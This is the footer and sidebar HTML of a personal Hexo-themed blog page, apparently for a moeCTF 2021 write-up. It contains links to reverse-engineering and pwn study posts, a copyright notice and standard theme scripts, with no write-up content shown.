    <span><a href="/computer-science/note/theme-shoka-doc/" title="Hexo主题Shoka &amp; multi-markdown-it渲染器使用说明">Hexo主题Shoka & multi-markdown-it渲染器使用说明</a></span>
  </li>

      
  <li class="item">
    
<div class="breadcrumb">
<a href="/categories/computer-science/" title="In computer-science">computer-science</a>
<i class="ic i-angle-right"></i>
<a href="/categories/computer-science/Reverse/" title="In Reverse">Reverse</a>
</div>

    <span><a href="/computer-science/Reverse/reverse/" title="学习Reverse">学习Reverse</a></span>
  </li>

      
  <li class="item">
    
<div class="breadcrumb">
</div>

    <span><a href="/pwn/" title="pwn学习(1)">pwn学习(1)</a></span>
  </li>

  </ul>
</div>
<div>
  <h2>Recent Comments</h2>
  <ul class="leancloud-recent-comment"></ul>
</div>

        </div>
        <div class="status">
  <div class="copyright">
    
    &copy; 2010 – 
    <span itemprop="copyrightYear">2022</span>
    <span class="with-love">
      <i class="ic i-sakura rotate"></i>
    </span>
    <span class="author" itemprop="copyrightHolder">cheuncey Zhang @ Canary</span>
  </div>
  <div class="count">
    <span class="post-meta-item-icon">
      <i class="ic i-chart-area"></i>
    </span>
    <span title="Symbols count total">166k words</span>

    <span class="post-meta-divider">|</span>
    <span class="post-meta-item-icon">
      <i class="ic i-coffee"></i>
    </span>
    <span title="Reading time total">2:31</span>
  </div>
  <div class="powered-by">
    Powered by <span class="exturl" data-url="aHR0cHM6Ly96ZXBoeXItY3liZXIuZ2l0aHViLmlv">Canary</span> & Inspire.<span class="exturl" data-url="aHR0cHM6Ly96ZXBoeXItY3liZXIuZ2l0aHViLmlv">taotaotao!</span>
  </div>
</div>

      </div>
    </footer>
  </div>
<script data-config type="text/javascript">
  var LOCAL = {
    path: 'moeCTF_2021题解/',
    favicon: {
      show: "（●´3｀●）Goooood",
      hide: "(´Д｀)Booooom"
    },
    search : {
      placeholder: "Search for Posts",
      empty: "We didn't find any results for the search: ${query}",
      stats: "${hits} results found in ${time} ms"
    },
    valine: true,fancybox: true,
    copyright: 'Copied to clipboard successfully! <br> All articles in this blog are licensed under <i class="ic i-creative-commons"></i>BY-NC-SA.',
    ignores : [
      function(uri) {
        return uri.includes('#');
      },
      function(uri) {
        return new RegExp(LOCAL.path+"$").test(uri);
      }
    ]
  };
</script>

<script src="https://cdn.polyfill.io/v2/polyfill.js"></script>

<script src="//cdn.jsdelivr.net/combine/npm/pace-js@1.0.2/pace.min.js,npm/pjax@0.2.8/pjax.min.js,npm/whatwg-fetch@3.4.0/dist/fetch.umd.min.js,npm/animejs@3.2.0/lib/anime.min.js,npm/algoliasearch@4/dist/algoliasearch-lite.umd.js,npm/instantsearch.js@4/dist/instantsearch.production.min.js,npm/lozad@1/dist/lozad.min.js,npm/quicklink@2/dist/quicklink.umd.js"></script>

<script src="/js/app.js?v=0.2.5"></script>




</body>
</html>
